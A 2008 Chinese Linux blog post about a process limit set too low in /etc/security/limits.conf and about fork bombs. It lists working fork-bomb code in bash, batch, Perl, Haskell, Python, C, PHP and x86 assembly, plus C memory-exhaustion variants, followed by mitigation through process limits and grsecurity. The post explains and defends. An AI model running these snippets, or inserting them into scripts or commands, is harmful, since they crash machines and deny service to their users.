看了某书,防止DOS攻击,修改/etc/security/limits.conf
* hard core 0
* hard rss 5000
* hard nproc 20
于是重启后,出现
resource temporarily unavailable
查了相关资料,原来是这个配置文件的问题,第三行是限制用户的fork进程数的,这里太小了,以至于不够用了,进个图形界面都超过限制了,于是修改一下:
* hard nproc 100
现在够用了,顺便了解了一下forkbomb(fork炸弹)
fork就是用来创建进程的,fork炸弹就是通过快速的创建很多进程让你机器挂掉,属于拒绝服务攻击的一种,因为进程数量是有限的,可以通过命令ulimit -a查看
core file size (blocks, -c) 0
data seg size (kbytes, -d) unlimited
scheduling priority (-e) 0
file size (blocks, -f) unlimited
pending signals (-i) 16383
max locked memory (kbytes, -l) 32
max memory size (kbytes, -m) 10000
open files (-n) 1024
pipe size (512 bytes, -p) 8
POSIX message queues (bytes, -q) 819200
real-time priority (-r) 0
stack size (kbytes, -s) 8192
cpu time (seconds, -t) unlimited
max user processes (-u) 100 最大用户进程数
virtual memory (kbytes, -v) unlimited
file locks (-x) unlimited
这里看到和刚才配置文件/etc/security/limits.conf设置的一样,用-u命令可以直接改成你要的限制数目。
举例:
下面这段代码可以作为一个fork炸弹(Jaromil ,2002),在bash下执行
:(){ :|:& };:
windows下的fork炸弹,batch编写
:s
START %0
GOTO :s
更简洁的写法:
%0|%0
perl语言:
#!/usr/bin/perl
fork while 1
Haskell:
import Control.Monad
import System.Posix.Process
forkBomb = forever $ forkProcess forkBomb
Python:
import os
while True:
os.fork()
c语言:
#include
int main(int argc, char* args[])
{
while(1)
fork();
return 0;
}
PHP:
while(1)
pcntl_fork();
x86(fasm):
format ELF executable
entry start
start:
push 0x2 ; Linux fork system call
pop eax ;
int 0x80 ; Call to the kernel
jmp start ; Loop back to the start
通过不停的申请内存造成内存不足也可以达到同样效果。
C:
#include
#include
int main(void) {
/* An infinite loop. */
while (1) {
/* Try to allocate 1MB of memory. */
malloc(1048576);
/* Fork the process so that we have exponential growth in memory. */
fork();
}
return EXIT_SUCCESS;
}
因为现代的操作系统运用了Copy-on-write虚拟内存技术,也就是你不使用的话,他不会真正的分配到物理内存。
上面代码修改成这样就可以:
#include
#include
int main(void) {
int *x;
while (1) {
fork();
/* Allocate the memory to a pointer to int */
x = malloc(sizeof(int) * 1048576);
/* Try to use the newly allocated memory */
*x = 0;
}
return EXIT_SUCCESS;
}
这段代码只影响其中第一页,要想影响整个1M空间,必须至少使用每一页的一个字节
解决方法:
一个成功的fork bomb除非reboot,系统不会恢复,因为已经不能新建进程(kill)来杀掉炸弹进程。
:(){ :|:& };:
这段代码的作用是不能再fork,我们可以用一个什么也不做的新进程,每一个新进程都可以减少一个forkbomb的数量,最后就可以消灭掉它,然后这个新进程就可以退出了。
Z Shell语法:
while (sleep 100 &!) do; done
预防:
像最开始修改配置文件/etc/security/limits.conf一样,我们限制用户的最大进程数量(以至于俺限制得过分了^_^!!)。
linux补丁如grsecurity可以检测哪个用户执行了fork炸弹程序
参考:http://en.wikipedia.org/wiki/Forkbomb
2008年8月18日
LINUX Fork bomb
标签:
ubuntu使用
订阅:
博文评论 (Atom)
没有评论:
发表评论